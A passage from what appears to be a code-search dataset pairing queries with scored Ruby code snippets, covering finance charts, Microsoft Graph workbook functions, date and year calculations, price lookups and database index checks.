\"#{t('other_income')}\"\n data << income\n largest_value = income if largest_value < income\n end\n\n if refund > 0\n x_labels << \"#{t('refund')}\"\n data << -(refund)\n largest_value = refund if largest_value < refund\n end\n\n if expense > 0\n x_labels << \"#{t('other_expense')}\"\n data << -(FedenaPrecision.set_and_modify_precision(expense).to_f)\n largest_value = expense if largest_value < expense\n end\n\n largest_value += 500\n\n bargraph = BarFilled.new()\n bargraph.width = 1;\n bargraph.colour = '#bb0000';\n bargraph.dot_size = 3;\n bargraph.text = \"#{t('amount')}\"\n bargraph.values = data\n\n x_axis = XAxis.new\n x_axis.labels = x_labels\n\n y_axis = YAxis.new\n y_axis.set_range(FedenaPrecision.set_and_modify_precision(-(largest_value)),\n FedenaPrecision.set_and_modify_precision(largest_value),\n FedenaPrecision.set_and_modify_precision(largest_value/5))\n\n title = Title.new(\"#{t('finance_transactions')}\")\n\n x_legend = XLegend.new(\"Examination name\")\n x_legend.set_style('{font-size: 14px; color: #778877}')\n\n y_legend = YLegend.new(\"Marks\")\n y_legend.set_style('{font-size: 14px; color: #770077}')\n\n chart = OpenFlashChart.new\n chart.set_title(title)\n chart.set_x_legend = x_legend\n chart.set_y_legend = y_legend\n chart.y_axis = y_axis\n chart.x_axis = x_axis\n chart.add_element(bargraph)\n render :text => chart.render\n end", "title": "" }, { "docid": "ccb27a054aaeaa69d1fb4395d3f6bc08", "score": "0.46915206", "text": "def odd_f_price()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::OddFPrice::OddFPriceRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "e4c676ce356a8e968389f7e9a1af23ea", "score": "0.46901688", "text": "def epochyear\n 2000 + @line1[18...20].to_i\n end", "title": "" }, { "docid": "eeff044f97f980fe7dbacd7c97a13d33", "score": "0.46804392", "text": "def v2(period = nil)\n period = period.to_i\n\n @v2 = {} if @v2.nil?\n @v2[period] ||= begin\n path = '/api/v2.0'\n path += \"/#{period}\" if period.nonzero?\n EdFi::Client::Proxy.new(add: path, to: self)\n end\n end", "title": "" }, { "docid": "c3e3d1bc88f8d5c30ef2bba5bd85f36e", "score": "0.46791202", "text": "def update_big_year\n current_year = Time.zone.now.year\n return unless (created_at.year == current_year) && timestamp_changed?\n if user.subscribed?(current_year) || big_year == current_year\n self.big_year = timestamp.try(:year) == current_year ? current_year : 0\n end\n end", "title": "" }, { "docid": "2731eb0dc071eb16b2f77d866743a23f", "score": "0.46782514", "text": "def yearly_rate\n\t\t yearly? ? rate : rate * 12\n\t\t end", "title": "" }, { "docid": "28444ff88d1525811f79568428691df7", "score": "0.4665411", "text": "def trend_points_for_creation_date(obj)\n if obj.created_at > 1.day.ago then 50\n elsif obj.created_at > 1.week.ago then 25\n elsif obj.created_at > 2.weeks.ago then 10\n elsif obj.created_at > 3.weeks.ago then 3\n else 0\n end\nend", "title": "" }, { "docid": "0ea1063b9527b5f140387fc75d7ee399", "score": "0.46581405", "text": "def start_year\n Time.now.year - 75\n end", "title": "" }, { "docid": "cf59f8a058e29846be6d499bb9dff003", "score": "0.4656229", "text": "def new(year = -4712, month = 1, day = 1, sg = ITALY)\n # we can catch this here already\n raise ArgumentError, \"invalid date\" if month > 12\n \n unless valid_civil?(year, month, day, sg)\n raise ArgumentError, \"invalid date, because it falls in the dropped days range of the calendar reform\"\n end\n \n components = NSDateComponents.new\n components.year = year\n components.month = month\n components.day = day\n \n # TODO: check when this can return `nil' instead of a date\n date = GREGORIAN_CALENDAR.dateFromComponents(components)\n interval = date.timeIntervalSinceReferenceDate\n \n mrdate = alloc.initWithTimeIntervalSinceReferenceDate(interval)\n mrdate.sg = sg\n \n # no positive wrap around!\n if mrdate.day < day && (mrdate.month == (month + 1) % 12)\n raise ArgumentError, \"invalid date\"\n end\n \n mrdate\n end", "title": "" }, { "docid": "221263ff9307283b8779eec3200ffcd2", "score": "0.46520472", "text": "def make_bucket(line)\n y = line[7..10]\n mo = line[3..5]\n d = line[0..1]\n h = line[12..13]\n\n \"#{y}-#{MONTHS[mo]}-#{d} #{h}:--:--\"\nend", "title": "" }, { "docid": "a56b87fb5c9548ba4e6998f4ea4af693", "score": "0.46519893", "text": "def estimate_embargo_period( issued, embargo_release )\n period = Date.parse( embargo_release ) - Date.parse( issued )\n case period.to_i\n when 0\n return ''\n when 1..186\n return GenericWork::EMBARGO_VALUE_6_MONTH\n when 187..366\n return GenericWork::EMBARGO_VALUE_1_YEAR\n when 367..731\n return GenericWork::EMBARGO_VALUE_2_YEAR\n when 732..1825\n return GenericWork::EMBARGO_VALUE_5_YEAR\n else\n return GenericWork::EMBARGO_VALUE_FOREVER\n end\n end", "title": "" }, { "docid": "0cc52190a4748fba2208550de713314e", "score": "0.4643991", "text": "def spray_paint(y)\n @year = y\n end", "title": "" }, { "docid": "38f749568a503edfe5532f8f0c5d44d2", "score": "0.4643253", "text": "def historic_trading(region, year, month)\n region = AEMO::Region.new(region) if region.is_a?(String)\n\n month = Kernel.format('%02d', month)\n url = 'https://aemo.com.au/aemo/data/nem/priceanddemand/' \\\n \"PRICE_AND_DEMAND_#{year}#{month}_#{region}1.csv\"\n\n response = HTTParty.get(url)\n parse_response(response)\n end", "title": "" }, { "docid": "a9cd843af4fbadbeb2869712abdd2601", "score": "0.46307045", "text": "def years ; self * 365.days ; end", "title": "" }, { "docid": "2692394e6cea34fdb705ac9bd2975229", "score": "0.46255186", "text": "def daily_rate\n\t\t yearly_rate / 365\n\t\t end", "title": "" }, { "docid": "55b356c04755618d499751656bc93d12", "score": "0.46175146", "text": "def price(raw_coin, raw_date=nil)\r\n \r\n coin = raw_coin.downcase.split.map(&:capitalize).join(' ')\r\n \r\n return self.coin(coin).quote['USD']['price'].to_f if raw_date.nil?\r\n puts 'raw_date: ' + raw_date.inspect if @debug\r\n \r\n date = if raw_date.is_a? Date then\r\n raw_date.strftime(\"%Y%m%d\")\r\n else\r\n Chronic.parse(raw_date.gsub('-',' ')).strftime(\"%d%m%Y\")\r\n end\r\n puts 'date: ' + date.inspect if @debug\r\n \r\n # if date is today then return today's price\r\n \r\n if date == Date.today.strftime(\"%d%m%Y\")\r\n puts 'same day' if @debug\r\n return self.coin(coin).quote['USD']['price'].to_f \r\n end\r\n \r\n \r\n if @history_prices[coin] and @history_prices[coin][date] then\r\n @history_prices[coin][date]\r\n else\r\n begin\r\n \r\n if @debug then\r\n puts 'coin: ' + coin.inspect \r\n puts 'date: ' + date.inspect\r\n end\r\n \r\n #a = Coinmarketcap.get_historical_price(coin.gsub(/ /,'-'), date, date)\r\n #puts 'a: ' + a.inspect if @debug \r\n \r\n #r = a.any? ? a.first[:close] : self.coin(coin).quote['USD']['price'].to_f \r\n price = @cq.historical_price coin, date\r\n r = price ? price.to_f : self.coin(coin).quote['USD']['price'].to_f \r\n @history_prices[coin] ||= {}\r\n @history_prices[coin][date] = r\r\n File.write @historic_prices_file, @history_prices.to_yaml\r\n \r\n return r\r\n \r\n rescue\r\n puts ($!).inspect if @debug\r\n end\r\n end\r\n \r\n end", "title": "" }, { "docid": "5a7f8e11548d55b95977ff7454d52b4e", "score": "0.46166688", "text": "def year_calculations\n\t\t@prev_beg_range = @beg_range.to_date.beginning_of_year.prev_year\n\t\t@prev_end_range = @beg_range.to_date.beginning_of_year-1.day\n\t\t@next_beg_range = @beg_range.to_date.next_year.beginning_of_year\n\t\t@next_end_range = @beg_range.to_date.next_year.end_of_year\n\tend", "title": "" }, { "docid": "c331235fa5728e110ed225d6b089232c", "score": "0.46033216", "text": "def curve\n end", "title": "" }, { "docid": "c331235fa5728e110ed225d6b089232c", "score": "0.46033216", "text": "def curve\n end", "title": "" }, { "docid": "0de649fc7a582925193cd7cfa9b738bc", "score": "0.46024242", "text": "def frequency\n interval || 1.year\n end", "title": "" }, { "docid": "a34b97174e05d31c93417aa03cf646c3", "score": "0.46022993", "text": "def price(is_regular_rate, sdate)\n if is_regular_rate\n rate = regular_rate\n else\n rate = reward_rate\n end\n\n #format of the date, grab the dates and abbreviations\n sdate = sdate.gsub('thur', 'thu')\n date_format = Date.strptime(sdate, '%d%b%Y(%a)')\n rate.price(date_format)\n end", "title": "" }, { "docid": "1c4b154c68e9fb30e1b0cdb89a290b51", "score": "0.45997775", "text": "def next_date\n next_observance.try(:start_on) || 100.years.from_now.to_date\n end", "title": "" }, { "docid": "9bc5472d3b532f3d21745ee901115507", "score": "0.4596771", "text": "def debt_rate\n ten_year_treasury + bps(200)\n end", "title": "" }, { "docid": "534dfc317b1486a529605ff1daf0a322", "score": "0.45956263", "text": "def gamma_ln_precise()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::GammaLn_Precise::GammaLnPreciseRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "51a75ee93e556a5857fa46842f3cebae", "score": "0.45902994", "text": "def cwyear\n end", "title": "" }, { "docid": "c17799825c6896ec9eb61adbedca83b8", "score": "0.45892105", "text": "def gregorian\n end", "title": "" }, { "docid": "102a5f807680254d43b1ae05af6123e9", "score": "0.45860156", "text": "def generate_daytime_distribution \n \n end", "title": "" }, { "docid": "75ca04d698e8b4d4395961609cd4d917", "score": "0.4583851", "text": "def initialize(params = {})\n from, to, tick = params.stringify_keys.values_at(\"from\", \"to\", \"tick\")\n tick = tick.blank? ? nil : tick\n now = DateTime.now.utc\n @from = from ? parse(from) : now - 1.year\n @to = to ? parse(to) : now\n @tick = tick || valid_ticks.last\n ensure_within_bounds\n end", "title": "" }, { "docid": "36ec2c102689bbf06db60a8657350ce6", "score": "0.45833844", "text": "def recurring; end", "title": "" }, { "docid": "a964c73d3a3a16f82b0e893c1d8b0a94", "score": "0.4581782", "text": "def dec2_oct()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Dec2Oct::Dec2OctRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "6282c741070961da060d136a3c54d952", "score": "0.45790932", "text": "def initialize\n @rate = 0.90\n end", "title": "" }, { "docid": "332d0ae63be3a9a8f2146aa764b44df3", "score": "0.45760188", "text": "def display_date_microformat\n tag.time(class: :public_timestamp, datetime: public_timestamp.iso8601) { publication_date }\n end", "title": "" }, { "docid": "dd8e8833b1af7c802b526f7f7d1504be", "score": "0.45696262", "text": "def factor eot\r\n eot.ajd = Date.parse(\"2000-01-01\").jd \r\n tlaa = eot.tl_Aries()\r\n eot.ajd = eot.ajd + 1\r\n tlab = eot.tl_Aries()\r\n dif = (tlab - tlaa) * Eot::R2D \r\n f1 = dif / 360.0 + 1 \r\n 1 / f1\r\nend", "title": "" }, { "docid": "43a74eac0a2bf89b6fe33ed3fc846d71", "score": "0.4564112", "text": "def jpd_cycle\r\n jpd_date - $jpd_2000\r\nend", "title": "" }, { "docid": "04bb18d088f19f30f3cfa28e2211c532", "score": "0.4563849", "text": "def years\n self.to_i * 31_557_600\n end", "title": "" }, { "docid": "afebcc4e7fe839bf5ead16d964afe3f4", "score": "0.45637935", "text": "def stock_market; end", "title": "" } ]
ed2283ed0f0bd60038baa4d85c132dff
Author:: Nicolas Couturier Version:: 1 Last Update:: 20130201 11:56:46 UTC Status:: In Progress
[ { "docid": "5a4efacd027535c515da735c717476b1", "score": "0.0", "text": "def delete_po\r\n\r\n FileUtils.rm_rf \"#{Rails.root}/po/#{params[:locale]}\"\r\n redirect_to locales_path\r\n end", "title": "" } ]
[ { "docid": "ef1e4c0cc26e4eec8642a7d74e09c9d1", "score": "0.67079794", "text": "def private; end", "title": "" }, { "docid": "13289d4d24c54cff8b70fcaefc85384e", "score": "0.64126456", "text": "def verdi; end", "title": "" }, { "docid": "0b8b7b9666e4ed32bfd448198778e4e9", "score": "0.62858796", "text": "def probers; end", "title": "" }, { "docid": "65ffca17e416f77c52ce148aeafbd826", "score": "0.61792094", "text": "def schubert; end", "title": "" }, { "docid": "cdd16ea92eae0350ca313fc870e10526", "score": "0.59450704", "text": "def who_we_are\r\n end", "title": "" }, { "docid": "ad244bd0c45d5d9274f7612fa6fee986", "score": "0.5778103", "text": "def suivre; end", "title": "" }, { "docid": "5cf20d5aba71d434e3118cf082e5b244", "score": "0.5778048", "text": "def schumann; end", "title": "" }, { "docid": "d88aeca0eb7d8aa34789deeabc5063cf", "score": "0.5774923", "text": "def offences_by; end", "title": "" }, { "docid": "07388179527877105fd7246db2b49188", "score": "0.5771052", "text": "def villian; end", "title": "" }, { "docid": "5971f871580b6a6e5171c35946a30c95", "score": "0.5748499", "text": "def stderrs; end", "title": "" }, { "docid": "2cc9969eb7789e4fe75844b6f57cb6b4", "score": "0.57384425", "text": "def refutal()\n end", "title": "" }, { "docid": "a7738fc66213d5de1f88b2de13a0479d", "score": "0.5699826", "text": "def entry_order; end", "title": "" }, { "docid": "ee927502c251b167dc506cf6cfafcc30", "score": "0.56618977", "text": "def upc_e; end", "title": "" }, { "docid": "cfbcefb24f0d0d9b60d1e4c0cf6273ba", "score": "0.56606275", "text": "def trd; end", "title": "" }, { "docid": "4a8a45e636a05760a8e8c55f7aa1c766", "score": "0.5623567", "text": "def terpene; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5619578", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5619578", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5619578", "text": "def parts; end", "title": "" }, { "docid": "1f60ec3e87d82a4252630cec8fdc8950", "score": "0.56107414", "text": "def berlioz; end", "title": "" }, { "docid": "614f52abb7d52c648d5797491b6af74e", "score": "0.5598786", "text": "def mambo_no_5; end", "title": "" }, { "docid": "991b6f12a63ef51664b84eb729f67eed", "score": "0.55845237", "text": "def formation; end", "title": "" }, { "docid": "53cf2439b86846e079fc0d28150f84ca", "score": "0.5570668", "text": "def desc; end", "title": "" }, { "docid": "f441b8118e227a06e7a1c24b554ba9b4", "score": "0.55592066", "text": "def blg; end", "title": "" }, { "docid": "ed1ee29e6c4cf6da4103ffec9121b4d4", "score": "0.5547476", "text": "def hd\n \n end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.5530117", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.5530117", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.5530117", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.5530117", "text": "def specie; end", "title": "" }, { "docid": "7135a3da9424b7116661eb538eb3f26c", "score": "0.54932666", "text": "def rossini; end", "title": "" }, { "docid": "48412710c08492591f41ec0553b303ce", "score": "0.5474205", "text": "def starting_position; end", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.546854", "text": "def anchored; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.5467718", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.5467718", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.5467718", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.5467718", "text": "def parslet; end", "title": "" }, { "docid": "ac48c0bf237ebe517111acbf7365ed73", "score": "0.54617935", "text": "def info; end", "title": "" }, { "docid": "ac48c0bf237ebe517111acbf7365ed73", "score": "0.54617935", "text": "def info; end", "title": "" }, { "docid": "ebab568ffcf305c876a5e7983708cbb8", "score": "0.54610234", "text": "def outdated; end", "title": "" }, { "docid": "fcbedadc5c0aaa6b55a6b18ae1a7d083", "score": "0.5443331", "text": "def feruchemist; end", "title": "" }, { "docid": "334350d22865ba7cea7709a8f8eaf184", "score": "0.5434286", "text": "def Com6 # Recuperation Info\n \n end", "title": "" }, { "docid": "be04cb55a462491abd1acf5950c83572", "score": "0.5429876", "text": "def jack_handey; end", "title": "" }, { "docid": "07f4aba74008200310213b63a5f3de3f", "score": "0.5415855", "text": "def zuruecksetzen()\n end", "title": "" }, { "docid": "e8db39661541ea9fad53a45c8d8763aa", "score": "0.5411036", "text": "def main_description; end", "title": "" }, { "docid": "990970091c2462662cd82ec09ce73751", "score": "0.54040325", "text": "def herebody_s; end", "title": "" }, { "docid": "cf2231631bc862eb0c98d89194d62a88", "score": "0.54016346", "text": "def identify; end", "title": "" }, { "docid": "2d8d9f0527a44cd0febc5d6cbb3a22f2", "score": "0.5391538", "text": "def weber; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.53813297", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.53813297", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.53813297", "text": "def header; end", "title": "" }, { "docid": "0175e23a5f76157b71dcd855eab161c0", "score": "0.53714585", "text": "def metadata_start\n 2\n end", "title": "" }, { "docid": "5ec366fbdcda59614c9cf8751dff8a08", "score": "0.53644073", "text": "def celebration; end", "title": "" }, { "docid": "3db157d82460cb0632778815b62dbc35", "score": "0.5362296", "text": "def dh; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5358503", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5358503", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5358503", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5358503", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5358503", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5358503", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5358503", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5358503", "text": "def position; end", "title": "" }, { "docid": "66627177646d1ceb9f70d9440a719501", "score": "0.5356942", "text": "def order; end", "title": "" }, { "docid": "66627177646d1ceb9f70d9440a719501", "score": "0.5356942", "text": "def order; end", "title": "" }, { "docid": "c9f8b32bdb7e82c936befb1755584389", "score": "0.5354385", "text": "def entry; end", "title": "" }, { "docid": "c9f8b32bdb7e82c936befb1755584389", "score": "0.5354385", "text": "def entry; end", "title": "" }, { "docid": "c9f8b32bdb7e82c936befb1755584389", "score": "0.5354385", "text": "def entry; end", "title": "" }, { "docid": "c9f8b32bdb7e82c936befb1755584389", "score": "0.5354385", "text": "def entry; end", "title": "" }, { "docid": "74099bb1b2e387b5b4cb0d04ab26c44f", "score": "0.5350208", "text": "def pos_fil_header\n 0\n end", "title": "" }, { "docid": "9d841b89340438a2d53048b8b0959e75", "score": "0.53472114", "text": "def sitemaps; end", "title": "" }, { "docid": "5d60e8da9848d6e8f84a45230fa014d2", "score": "0.532424", "text": "def line_cache; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.53223276", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.53223276", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.53223276", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.53223276", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.53223276", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.53223276", "text": "def pos; end", "title": "" }, { "docid": "264cacd22ec67ef709fab7ac35bc522c", "score": "0.5312118", "text": "def p15\n\t\nend", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.53079736", "text": "def version; end", "title": "" }, { "docid": "3b4df29992323899033bb22a35a64989", "score": "0.53046703", "text": "def malts; end", "title": "" }, { "docid": "d8216257f367748eea163fc1aa556306", "score": "0.5302807", "text": "def bs; end", "title": "" } ]
f333ed31e39b7806484b0c050a4762aa
If the presentation currently being handled is multi_index, this will return true
[ { "docid": "bbebedabed127d4a68d3646865e63db1", "score": "0.8180794", "text": "def use_multi_index?\n @_use_multi_index\n end", "title": "" } ]
[ { "docid": "f835b9a25d57520912a7c6bc89459568", "score": "0.809892", "text": "def any_multi_index?\n @_any_multi_index \n end", "title": "" }, { "docid": "3c21c225a92392f4c434ac4b2b277ced", "score": "0.6935758", "text": "def has_index?\n replication_field.in? table_indexes\n end", "title": "" }, { "docid": "388ebe4d9e349e8ae174f6f6e651efdb", "score": "0.6909819", "text": "def supports_partial_indexes?\n false\n end", "title": "" }, { "docid": "0e01dfd3cf446be5fdf266f2415daee8", "score": "0.6869537", "text": "def supports_partial_index?\n false\n end", "title": "" }, { "docid": "216258b11aaf7e7310e17b5039f7b7f7", "score": "0.68425757", "text": "def supports_partial_index?\n true\n end", "title": "" }, { "docid": "2d22cbe9b060a91b3082224b2aba0fa7", "score": "0.67823905", "text": "def has_index? index\n @index.include? index\n end", "title": "" }, { "docid": "0e68029efe78422b46cebc116734b7dc", "score": "0.6748892", "text": "def indexed?\n !!metadata['kMDItemContentTypeTree']\n end", "title": "" }, { "docid": "b577cc5cae8421f29759cdb80a37ca1b", "score": "0.6717045", "text": "def indexed?\n @options[:indexed]\n end", "title": "" }, { "docid": "488efacf29f1a59bd0cc89ba96cd875b", "score": "0.66843635", "text": "def should_be_indexed?\n !programme_note.blank? || !related_manifestations.empty? || !related_resources.empty?\n end", "title": "" }, { "docid": "0bbfb4e05d09a892e724709983e02d47", "score": "0.6682953", "text": "def index?\n true\n end", "title": "" }, { "docid": "0bbfb4e05d09a892e724709983e02d47", "score": "0.6682953", "text": "def index?\n true\n end", "title": "" }, { "docid": "0bbfb4e05d09a892e724709983e02d47", "score": "0.6682953", "text": "def index?\n true\n end", "title": "" }, { "docid": "0bbfb4e05d09a892e724709983e02d47", "score": "0.6682953", "text": "def index?\n true\n end", "title": "" }, { "docid": "80919136a247e1cd465993ae60dba7fd", "score": "0.6633718", "text": "def indexable?\n true\n end", "title": "" }, { "docid": "ffaf93a8559c0ed2f852907169132d6e", "score": "0.6614236", "text": "def indexed?\n !!index\n end", "title": "" }, { "docid": "2f9d21db0900e1e1c611ddcc24b4758e", "score": "0.66045153", "text": "def index?\n true\n end", "title": "" }, { "docid": "2f9d21db0900e1e1c611ddcc24b4758e", "score": "0.66045153", "text": "def index?\n true\n end", "title": "" }, { "docid": "2f9d21db0900e1e1c611ddcc24b4758e", "score": "0.66045153", "text": "def index?\n true\n end", "title": "" }, { "docid": "2f9d21db0900e1e1c611ddcc24b4758e", "score": "0.66045153", "text": "def index?\n true\n end", "title": "" }, { "docid": "5d1b38e6db5945e82d18d353cf7ec061", "score": "0.6588927", "text": "def indexed?\n @indexed ||= !!@options[:index]\n end", "title": "" }, { "docid": "77481ee8689fdf210696109087a3b3fc", "score": "0.65725416", "text": "def multi_index(bool)\n define_method :multi_index do\n bool\n end\n end", "title": "" }, { "docid": "be04908771d24863f4fa5b44fd6e35bf", "score": "0.6567904", "text": "def index?\n self.depth == 0 && 'index' == self.slug\n end", "title": "" }, { "docid": "e5ad4989988fb3453553c9e01f495d15", "score": "0.656259", "text": "def index_layout?\n layout_type == 'index'\n end", "title": "" }, { "docid": "ede70350b867e5726b23a7e036b9571a", "score": "0.6548732", "text": "def being_indexed?\n state_group == :finalization\n end", "title": "" }, { "docid": "c036fabfec9f393a8972509436fed47e", "score": "0.65216064", "text": "def should_index?\n visible\n end", "title": "" }, { "docid": "b39948ca548289c04358f9dff12d5d74", "score": "0.6494475", "text": "def index?\n self.kind_of?(Schema::Physical::Index)\n end", "title": "" }, { "docid": "d6ed8d420664294a687df09bde921c27", "score": "0.64874715", "text": "def indexed?\n !! @index\n end", "title": "" }, { "docid": "fc44c71424d64f0ae8869bff4cafb68b", "score": "0.6475423", "text": "def index?\n options.fetch(:index, false)\n end", "title": "" }, { "docid": "04d428c4a79d5c2254f3cca9f6c1cd2f", "score": "0.64585745", "text": "def index_cond?\n !! self[\"Index Cond\"]\n end", "title": "" }, { "docid": "1b67ecea7b366696d0162a35f68d7a11", "score": "0.6457594", "text": "def shared?\n index_definition[:registered_models].size > 1\n end", "title": "" }, { "docid": "b0e516322c9a476e6c95e47802947401", "score": "0.64385366", "text": "def local_secondary_indexed?\n @table.local_secondary_indexes.is_a?(Array)\n end", "title": "" }, { "docid": "9222fdb71b0526cc07c6e5a0be83ac3b", "score": "0.64317596", "text": "def esta_indexado?\n return self.documentos_titulo.any? ||\n self.documentos_contenido.any? || \n self.documentos_resumen.any? || \n self.documentos_palabras_clave.any?\n end", "title": "" }, { "docid": "34f5952c871eb81d941f0c2eb8319cd4", "score": "0.6427496", "text": "def physical?\n index?\n end", "title": "" }, { "docid": "32bf06a7bfbc5d484a16179f094a8315", "score": "0.64233035", "text": "def should_index?\n live\n end", "title": "" }, { "docid": "6f2926f29ac2b3da2a67eef7804e2260", "score": "0.6392855", "text": "def supports_partial_indexes?\n dataset.send(:is_2008_or_later?)\n end", "title": "" }, { "docid": "732fe2c1d58cc06c3cd941073cb620c2", "score": "0.6385908", "text": "def in_process?\n being_submitted? || being_indexed?\n end", "title": "" }, { "docid": "8760a41f55144e8b4aeda7409c540396", "score": "0.63727385", "text": "def indexed_query?\n @indexed_query\n end", "title": "" }, { "docid": "73ad056b6f75f57942ea253dd34c4bdf", "score": "0.6372563", "text": "def multi?\n @multi\n end", "title": "" }, { "docid": "575c07a672ff4e83c9788baab9f4df95", "score": "0.6360394", "text": "def should_index?\n [self.class.elastic_options[:if]].flatten.compact.all? { |m| evaluate_elastic_condition(m) } &&\n ![self.class.elastic_options[:unless]].flatten.compact.any? { |m| evaluate_elastic_condition(m) }\n end", "title": "" }, { "docid": "2517cdc3f817cefe6e14ef27e164ec64", "score": "0.6341535", "text": "def indexable?\n published?\n end", "title": "" }, { "docid": "23070f0f76916e35355f5a31a2e4ec48", "score": "0.63381714", "text": "def should_index?\n !invisible?\n end", "title": "" }, { "docid": "98d13b086acf87fe0dd4f1a7034e86ad", "score": "0.63132524", "text": "def index?\n\ttrue\n \n end", "title": "" }, { "docid": "1f9440df39188faf89276f312d514f8b", "score": "0.63077474", "text": "def global_secondary_indexed?\n @table.global_secondary_indexes.is_a?(Array)\n end", "title": "" }, { "docid": "2f72607676a86d46a37f8754b41e5a6d", "score": "0.6276311", "text": "def multi_main?\n main_reports.length > 1 ? true : false\n end", "title": "" }, { "docid": "81e19e23ebad87f6558e22853709b4b5", "score": "0.6258608", "text": "def index_read_groups?\n index_read_group_state? || (!ephemera_box.nil? && ephemera_box.grant_access_state?)\n end", "title": "" }, { "docid": "df2bf933ce743f930ed16bf90158f59c", "score": "0.6255694", "text": "def multi?\n @multi\n end", "title": "" }, { "docid": "55568deeb47c1f926ad8090fa64077c8", "score": "0.624646", "text": "def should_be_in_index?\n # TODO, add a record should_index? method like searchkick\n # https://github.com/ankane/searchkick/blob/5d921bc3da69d6105cbc682ea3df6dce389b47dc/lib/searchkick/record_indexer.rb#L44\n !record.destroyed? && record.persisted?\n end", "title": "" }, { "docid": "5a496270301f714109f26220fe1d6e52", "score": "0.6236253", "text": "def has_index?( index_name )\n\n return @indexes.has_key?( index_name )\n\n end", "title": "" }, { "docid": 